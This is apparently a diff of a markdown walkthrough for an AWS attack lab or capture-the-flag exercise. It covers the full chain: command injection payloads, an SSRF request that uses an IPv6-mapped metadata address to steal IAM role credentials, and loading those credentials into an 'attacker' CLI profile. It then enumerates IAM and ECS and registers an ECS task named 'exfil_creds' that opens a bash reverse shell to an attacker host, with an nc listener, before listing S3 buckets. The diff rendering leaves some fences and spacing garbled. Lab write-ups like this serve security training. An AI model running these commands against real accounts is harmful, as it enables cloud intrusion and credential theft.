@@ -4,15 +4,17 @@ Go to `http://<ec2_ip_address>`
4
4
5
5
### Command Injection
6
6
7
- ```
7
+ ``` bash
8
+ # Command Injection on web.
8
9
; aws s3 ls
9
10
; aws s3 ls s3://< bucket-name> /
10
11
; aws s3 cp s3://< bucket-name> /flag.txt .
11
12
; cat flag.txt
12
13
```
13
14
14
15
### SSRF
15
- ```
16
+
17
+ ``` bash
16
18
# SSRF Attack.
17
19
http://< ec2_ip_address> /? url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/< role>
18
20
@@ -34,11 +36,13 @@ Go to `http://<ec2_ip_address>`
34
36
35
37
### SSRF
36
38
37
- ```
38
- http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
39
- aws configure --profile attacker
40
- echo "aws_session_token = <token>" >> ~/.aws/credentials
41
- ```
39
+ * Using IPv6 to SSRF on web with ` http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role> `
40
+ * Get credentials & using it to your CLI profile.
41
+
42
+ ``` bash
43
+ aws configure --profile attacker
44
+ echo " aws_session_token = <token>" >> ~ /.aws/credentials
45
+ ```
42
46
43
47
# ## Command Injection
44
48
@@ -47,49 +51,94 @@ echo "aws_session_token = <token>" >> ~/.aws/credentials
47
51
48
52
# ## For more information
49
53
50
- - more information about iam
54
+ - more information about iam.
51
55
52
- ```
53
- aws sts get-caller-identity
54
- aws iam get-role --role-name <role>
55
- aws iam list-attached- role-policies --role-name <role>
56
- aws iam list-role-policies --role-name <role>
57
- aws iam get -role-policy --role-name <role> --policy-name <policy >
58
- aws iam list-roles
59
- ```
56
+ ` ` ` bash
57
+ aws sts get-caller-identity
58
+ aws iam list-roles
59
+ aws iam get- role --role-name < role>
60
+ aws iam list-attached -role-policies --role-name < role>
61
+ aws iam list -role-policies --role-name < role>
62
+ aws iam get-role-policy --role-name < role > --policy-name < policy >
63
+ ` ` ` `
60
64
61
- - more information about ecs
65
+ ` ` ` bash
66
+ aws ecs list-clusters --region < region>
67
+ aws ecs describe-clusters --region < region> --clusters < cluster>
68
+ aws ecs list-container-instances --region < region> --cluster < cluster_arn>
69
+ ```
70
+ - find available vpc subnets.
62
71
63
- ```
64
- aws ecs list-clusters --region <region>
65
- aws ecs describe-clusters --region <region> --clusters <cluster>
66
- aws ecs list-container-instances --region <region> --cluster <cluster_arn>
67
- ```
72
+ ` ` ` bash
73
+ aws ec2 describe-subnets --region < region>
74
+ ` ` `
68
75
69
76
# ## ECS Privesc
70
77
71
- * Attacker prepare revshell at other public ip point with ` nc -lvp 4000 ` .
72
-
73
- * And now come back to CLI.
74
-
75
- ```
76
- # ECS Task definition with revshell command.
77
- aws ecs register-task-definition --region <region> --family <task_name> --task-role-arn <task_role_arn> --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\"\"]}]"
78
-
79
- # For run-task, find available subnets.
80
- aws ec2 describe-subnets --region <region>
81
-
82
- # Run task.
83
- aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_arn> --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"<subnet>\"]}}"
84
- ```
85
- After a few minutes, the revshell will be connected by container.
86
- Let's do it on revshell.
78
+ 1. Attacker prepare revshell at other public ip point with ` nc -lvp 4000` .
79
+
80
+ 2. And now come back to CLI.
81
+
82
+ 3. Create an ECS Task Definition JSON File:
83
+
84
+ Create a file named task-definition.json and include the following content.
85
+ Replace ` < region> ` , ` < task_name> ` , ` < task_role_arn> ` , ` < revshell_ip> ` , and ` < revshell_port> ` with your actual values.
86
+
87
+ ` ` ` json
88
+ {
89
+ " family" : " <task_name>" ,
90
+ " taskRoleArn" : " <task_role_arn>" ,
91
+ " networkMode" : " awsvpc" ,
92
+ " cpu" : " 256" ,
93
+ " memory" : " 512" ,
94
+ " requiresCompatibilities" : [" FARGATE" ],
95
+ " containerDefinitions" : [
96
+ {
97
+ " name" : " exfil_creds" ,
98
+ " image" : " python:latest" ,
99
+ " entryPoint" : [" sh" , " -c" ],
100
+ " command" : [" /bin/bash -c \\\" bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\" " ]
101
+ }
102
+ ]
103
+ }
104
+ ` ` `
105
+
106
+ 4. Create an ECS Run Task JSON File.
107
+
108
+ Create a file named run-task.json and include the following content. Replace ` < region> ` and ` < subnet> ` with the actual values for your setup.
109
+
110
+ ` ` ` json
111
+ {
112
+ " launchType" : " FARGATE" ,
113
+ " networkConfiguration" : {
114
+ " awsvpcConfiguration" : {
115
+ " assignPublicIp" : " ENABLED" ,
116
+ " subnets" : [" <subnet>" ]
117
+ }
118
+ }
119
+ }
120
+ ` ` `
121
+
122
+ 5. Register Task Definition and Run Task
123
+
124
+ Now, you can use the AWS CLI with the JSON files to execute the commands.
125
+
126
+ ` ` ` bash
127
+ # Register task definition
128
+ aws ecs register-task-definition --region < region> --cli-input-json file://task-definition.json
129
+
130
+ # Run task
131
+ aws ecs run-task --region < region> --task-definition < task_name> --cluster < cluster_name> --cli-input-json file://run-task.json
132
+ ` ` `
133
+
134
+ After a few minutes, the revshell will be connected by container.
135
+ Let' s access to s3 on revshell.
87
136
88
137
### Access S3
89
138
90
- ```
91
- apt-get update
92
- apt-get install awscli
139
+ ```bash
140
+ apt update
141
+ apt install awscli
93
142
94
143
aws s3 ls
95
144
aws s3 ls s3://<bucket-name>/
0 commit comments